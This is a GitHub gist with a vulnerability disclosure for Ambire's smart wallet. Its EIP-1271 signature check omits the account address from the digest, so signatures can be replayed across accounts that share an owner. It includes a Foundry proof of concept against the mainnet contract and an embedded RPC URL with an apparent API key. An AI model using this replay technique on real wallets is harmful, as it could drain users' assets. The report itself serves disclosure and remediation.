Skip to content

Instantly share code, notes, and snippets.

@0xcuriousapple
Created October 12, 2023 08:21
Show Gist options
  • Save 0xcuriousapple/6e45a013b1a4878c584941f2958c19bc to your computer and use it in GitHub Desktop.
Save 0xcuriousapple/6e45a013b1a4878c584941f2958c19bc to your computer and use it in GitHub Desktop.
Anyone can reply the smart contract signatures for accounts with same owner

Anyone can reply the smart contract signatures for accounts with same owner

Bug Description

Ambire's smart wallet (Identity) integrates EIP1271 through isValidSignature.

function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4) {
		if (privileges[SignatureValidator.recoverAddr(hash, signature)] != bytes32(0)) {
			// bytes4(keccak256("isValidSignature(bytes32,bytes)")
			return 0x1626ba7e;
		} else {
			return 0xffffffff;
		}
	}

However, since Ambire doesn't include the account inside the signed digest, if the passed hash is independent of the account, the signature made for one account could be replayed on another if both accounts have the same owner.
This is applicable for EOA signatures as well.
For example, If Alice has a EOA 0xa and is operating a smart wallet Ambire1 from 0xa, the signatures of 0xa, could be replayed on Ambire1 as well.

Some dApps include the account inside the message digest themselves. For example: Uniswap's use of their permit2 inside Uniswap X (source).
However, some don't, like CowSwap. Hence, if account A signs a CowSwap order of selling x for y, the same order could be executed on another account if that account has the same owner. CowSwap's order struct can be found here, and CowSwap's signature validation is detailed here.

Additional examples:

  1. Lens
    https://github.com/lens-protocol/core/blob/v2/contracts/libraries/MetaTxLib.sol
    Would allow anyone to replay one's lens actions like follow, unfollow for their smart wallet, or vice versa

  2. Ethereum Attestion https://github.com/ethereum-attestation-service/eas-contracts/blob/f7f4ed8416fb66e23d0b94cd721ed3b1836ee243/contracts/eip1271/EIP1271Verifier.sol#L97
    Would allow replaying attestations

  3. EigenLayer https://github.com/Layr-Labs/eigenlayer-contracts/blob/9fbb6d6dada1f0932ec6673257ded06bd6557905/src/contracts/core/StrategyManager.sol#L158C14-L158C46
    Would basically allow to replay deposit.

Hence, as of now, Ambire's smart accounts' security is dependent on an external protocol, whether they include the account inside the digest or not.

Wallets like Safe handle this on their own to mitigate this line of attack.
Please review the following Safe module contract. They also have EIP-1271 integration; however, they are NOT vulnerable to this line of attack since they include an account inside the message digest through their safe.domainSeparator() (source).

Safe Contracts

    function encodeMessageDataForSafe(Safe safe, bytes memory message) public view returns (bytes memory) {
        bytes32 safeMessageHash = keccak256(abi.encode(SAFE_MSG_TYPEHASH, keccak256(message)));
        return abi.encodePacked(bytes1(0x19), bytes1(0x01), safe.domainSeparator(), safeMessageHash);
        
        // safe.domainSeparator() = keccak256(abi.encode(DOMAIN_SEPARATOR_TYPEHASH, chainId, this));
    }

    function isValidSignature(bytes32 _dataHash, bytes calldata _signature) public view override returns (bytes4) {
        // Caller should be a Safe
        Safe safe = Safe(payable(msg.sender));
        bytes memory messageData = encodeMessageDataForSafe(safe, abi.encode(_dataHash));
        bytes32 messageHash = keccak256(messageData);
        if (_signature.length == 0) {
            require(safe.signedMessages(messageHash) != 0, "Hash not approved");
        } else {
            safe.checkSignatures(messageHash, messageData, _signature);
        }
        return EIP1271_MAGIC_VALUE;
    }

POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/QuickAccManager/Contract.sol";

contract QuickAccManagerPOC is Test {
  QuickAccManager quickAccManager =  QuickAccManager(0xfF3f6D14DF43c112aB98834Ee1F82083E07c26BF);
  uint256 acc1PrivateKey = 0xa11ce;
  uint256 acc2PrivateKey = 0xabc123;
  
  function testQuickAccManagerPOC() public {
      vm.createSelectFork('https://eth-mainnet.g.alchemy.com/v2/vho_vp3Yhlr98CwgdVDbnnx12FIi2gUL');
      assert(address(quickAccManager) == 0xfF3f6D14DF43c112aB98834Ee1F82083E07c26BF);

      /*//////////////////////////////////////////////////////////
                        Initial State (Setup)
      //////////////////////////////////////////////////////////////*/

      address [] memory addrs = new address [](1);
      addrs[0] = address(this);
      Identity I_1 = new Identity(addrs);
      Identity I_2 = new Identity(addrs);        

      QuickAccManager.QuickAccount memory q;
      q.timelock = 100;
      q.one = vm.addr(acc1PrivateKey);
      q.two = vm.addr(acc2PrivateKey);

      // setting up quick account privilages Identity.Privilages[QuickAccManager] = Hash of Quick Account
      vm.prank(address(I_1));
      I_1.setAddrPrivilege(address(quickAccManager), keccak256(abi.encode(q))); 
      vm.prank(address(I_2));
      I_2.setAddrPrivilege(address(quickAccManager), keccak256(abi.encode(q)));



      /*//////////////////////////////////////////////////////////
                        Signature Validation
      //////////////////////////////////////////////////////////////*/
      
      // ---------------------  I_1 -------------------------------------

      // Consider dummy hash as following
      bytes32 orderHash = keccak256(abi.encode("do this and this"));
      bytes32 digest =  keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash));

      // Signature by Quick Account Owner 1
      vm.startPrank(vm.addr(acc1PrivateKey));
      (uint8 v, bytes32 r, bytes32 s) = vm.sign(acc1PrivateKey, digest);
      bytes memory sig1 = abi.encodePacked(r, s, v);
      sig1= abi.encodePacked(sig1, uint8(1)); // Padding done for SignatureMode => EthSign (Ambire's requirement)
      vm.stopPrank();

      // Signature by Quick Account Owner 2
      vm.startPrank(vm.addr(acc2PrivateKey));
      (v,r,s) = vm.sign(acc2PrivateKey, digest);
      bytes memory sig2 = abi.encodePacked(r, s, v);
      sig2= abi.encodePacked(sig2, uint8(1));
      vm.stopPrank();

      // Intended I_1 Signature Validation by QuickAccManager
      vm.prank(address(I_1));
      bytes4 returnedVal = quickAccManager.isValidSignature(orderHash, abi.encode(100, sig1, sig2)); 
      assertEq(returnedVal, 0x1626ba7e00000000000000000000000000000000000000000000000000000000);
      
      // ---------------------  I_2 -------------------------------------

      // Replayed I_2 Signature Validation by QuickAccManager
      vm.prank(address(I_2));
      quickAccManager.isValidSignature(orderHash, abi.encode(100, sig1, sig2)); 
      assertEq(returnedVal, 0x1626ba7e00000000000000000000000000000000000000000000000000000000);
  }
}

Impact

Direct unintended execution of actions on identities.
Basically, anyone can replay the signatures for unintended accounts.
In the worst case, this could lead to a loss of assets.
For example, consider a scenario where a a EOA or a smart account has signed an external protocol order to sell X amount for Y.
Now, this same order could be executed on any other account using the same EOA privilages

Risk Breakdown

Difficulty to Exploit: Easy

Weakness: -

CVSS2 Score: -

Recommendation

Consider including the identity (account address) inside the signed digest

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment